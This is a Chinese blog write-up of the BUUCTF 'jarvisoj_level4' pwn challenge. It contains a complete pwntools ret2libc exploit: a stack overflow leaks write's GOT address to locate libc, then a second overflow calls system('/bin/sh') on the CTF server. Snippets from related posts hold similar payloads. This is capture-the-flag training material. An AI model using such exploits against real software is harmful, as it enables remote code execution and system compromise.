jarvisoj_level4

最新推荐文章于 2025-04-24 13:04:15 发布
最新推荐文章于 2025-04-24 13:04:15 发布
阅读量100 收藏
点赞数
CC 4.0 BY-SA版权
分类专栏： Buuoj刷题 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_62887641/article/details/133150949
本文描述了一种针对32位系统，NX保护启用的栈溢出漏洞的利用方法，使用了pwn技术，包括PLT和got表的利用，以及从内存泄漏中获取系统调用地址进行shell执行。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

jarvisoj_level4

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

32位，只开了nx

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

栈溢出

思路

跟3差不多，直接贴（传送门)

注意一下32位和64位的位置就可，

from pwn import*
from Yapack import *
libc=ELF('libc-2.23_32.so')
r,elf=rec("node4.buuoj.cn",29255,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')

pl=cyclic(0x88+4)+flat(elf.plt['write'],0x8048470,1,elf.got['write'],4)
s(pl)
leak=u32(r.recv(4))-libc.sym['write']
li(leak)
sys=system(leak)
sh=shell(leak)
pl=cyclic(0x88+4)+flat(sys,0,sh)
sl(pl)

#debug()
ia()
BUUCTF---jarvisoj_level4
qq_33010875的博客
09-26 373
环境：WSL2，ubuntu16.04，python2 checksec文件: 将文件拖入ida 溢出点： 和level3不同的是 read函数之前没有调用write函数，因此要泄露libc的基地址需要用read函数，利用write函数将read函数在got表中的地址泄露出来 payload = (0x88+0x04)*'a'+p32(write_plt)+p32(main_addr)+p(1)+p32(read_got)+p(4) 接受泄露出来的地址 read_addr = u32(io.recv(
BUUCTF jarvisoj_level2 题解
qq_51802916的博客
08-20 596
可以看到程序中已经有了shell的字符串，由于是32位程序，函数的参数通过压栈传递，因此我们可以直接将其地址放在system之后就能够完成参数的传递。而不是使用call指令，因此计算机会将调用函数前栈顶指针指向的地址视为函数的返回地址，因此我们需要在这个地方随便填入一些值，然后在后面填入函数的第一个参数。，因此我们需要填充0x88个字符就能到达ebp的位置，然后再填充4个字符就能到达eip的位置，并且。可以看到是32位程序，栈上开启了不可执行保护，但是没有栈检测标志，推测需要进行缓冲区溢出。
Jarvis OJ Level4
qq_39153421的博客
09-19 490
写在最前面：  在漏洞利用的时候，如果没有给出libc库，可以先泄漏两个函数的地址，然后再去查libc的版本号。但是，这种有时候可能失效。现在利用DynELF工具来泄漏system函数的地址，然后再往一个地方写’/bin/sh’字符串并构造调用system函数的栈。下面以Jarvis OJ中的level4这道题为例，使用DynELF实现漏洞利用。   在写之前先了解...
BUUCTF jarvisoj_level4
最新发布
2401_88087539的博客
04-24 313
pwn新手小白，写完题后整理的一点点思路，有借鉴其他wp，有任何问题各位师傅可以提出，接收批评指正
[BUUCTF]PWN-jarvisoj_level4
红凳子的博客
04-07 602
[BUUCTF]PWN-jarvisoj_level4前言一、程序分析二、漏洞利用方法一：使用LibcSearcher寻找libc版本方法二：使用DynELF函数进行泄露 前言 在这篇文章中将学习到劫持read函数、使用LibcSearcher寻找libc版本和DynELF函数的使用 提示：以下是本篇文章正文内容，下面案例可供参考 一、程序分析 从中可以看出，32位程序，i386架构，开启了NX保护。 输入点在vulnerable_function里，read试图向长度0x88的地址空间写入0x10
BUUCTF：jarvisoj_level4（write up）
qq_44768749的博客
08-24 1052
这里写目录标题0x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01 文件分析 开启了栈不可执行、部分RELRO保护 0x02 运行 简单的输入一个字符串 0x03 IDA 漏洞点在vulnerable_function输入长度可以造成栈溢出 0x04 思路 没有提供system函数和"/bin/sh"的地址 第一次栈溢出泄露libc版本，从而获取system函数和"/bin/sh"的地址，并且返回主函数 第二次栈溢出跳转执行system("/bin/
BUUCTF jarvisoj_level0
m0_54262894的博客
10-27 395
先checksec，仅开启了NX保护 运行一下 放入ida中 查看main函数 没有什么关键信息，双击vulnerable_function() 在这里我们看到了漏洞 buf定义了80个字节，而我们可以输入更多的数据 接着找找后门函数 这道题很简单，已经把后门给我们展示出来了 记住后门函数的地址0x400596 做完以上步骤我们就有思路了： 覆盖buf 的80个字节 因为是64位的文件，然后再加8个字节...
jarvisoj-level4
m0_73743784的博客
09-01 501
非常经典的ret2libc，只是要注意 32 位的和 64 位的差别，以及使用write函数和使用puts函数的差别。
BUUCTF-jarvisoj_level4
Rt1Text的博客
12-04 561
很明显的栈溢出,没有system(bin/sh) 32位的ret2libc3老规矩的脚本
[BUUCTF-pwn]——jarvisoj_level4
Y_peak的博客
02-22 289
[BUUCTF-pwn]——jarvisoj_level4 点我看 write up exploit from pwn import * from LibcSearcher import * p = remote("node3.buuoj.cn",26929) elf = ELF("./level4") write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.sym['main'] payload = 'a' *
JarvisOJ level4
PLpa的博客
07-08 2441
这题与level3相比就是就是题目并没有给出对应的libc文件，这里就要学习使用一波DynELF函数了，这是pwntools的一个函数，使用前请确认安装完整pwntools工具。 前言： DynELF函数是通过已知函数，迅速查找libc库，并不需要我们自己本身知道对应版本的libc文件。 这是DynELF函数使用的一个模板： def leak(address): payload=pad+p...
[BUUCTF]PWN--------jarvisoj_level4
BangSen1的博客
04-02 472
jarvisoj_level4 例行检查，32位，开启NX保护 运行一下 用IDA打开。查看主函数 查看vulnerable_function()函数 buf存在溢出漏洞。 是一道ret2libc类型的题目。 利用第一次溢出泄露libc版本，从而获取system函数和"/bin/sh"的地址，并且返回重新执行主函数。 再利用第二次栈溢出跳转执行system("/bin/sh") from pwn import * from LibcSearcher import * context(os = "
Jarvis OJ --level4
Kni9hT's Blog
11-11 310
level4与level1、2、3的区别在于：无system、无"/bin/sh"、无libc 要点：使用DynELF函数leak system函数真实地址，然后用read函数写"/bin/sh\x00"到bss段，然后调用system("/bin/sh")去getshell。 题目链接： level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0 先查看开了哪些保护： 和l...
jarvisoj——[XMAN]level4
王嘟嘟的博客
07-19 495
题目 Wp 检查基础项，有NX保护 ida看的时候还是之前的那种，但是没有给lib，需要自己去找 那么这里第一步，肯定是找到system的地址 第二步将/bin/sh写入bss字段 第三部调用即可
jarvis oj level4
发蝴蝶和大脑斧的博客
12-05 640
与level3相比没有提供libc.so文件。学习使用Dynelf: def leak(address):
jarvisoj_level0
08-14
引用是一段关于利用pwntools库对jarvisoj_level0进行攻击的代码。代码中使用了remote()方法建立了远程连接，并构造了一个payload来利用栈溢出漏洞，最终执行callsystem()函数来获取shell权限。引用也是类似的代码，只是连接的地址不同。引用是一篇关于pwntools基本用法的文章，并提供了一些常用的函数和方法。根据这些引用内容，可以得出结论，jarvisoj_level0是一个存在栈溢出漏洞的程序，可以通过构造特定的payload来执行系统调用函数，从而获取shell权限。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [jarvisoj_level0](https://blog.youkuaiyun.com/weixin_56301399/article/details/125919313)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [jarvisOJ-level0](https://blog.youkuaiyun.com/qq_35661990/article/details/82889103)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [jarvis oj---level0解题方法](https://blog.youkuaiyun.com/weixin_45427676/article/details/97272924)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值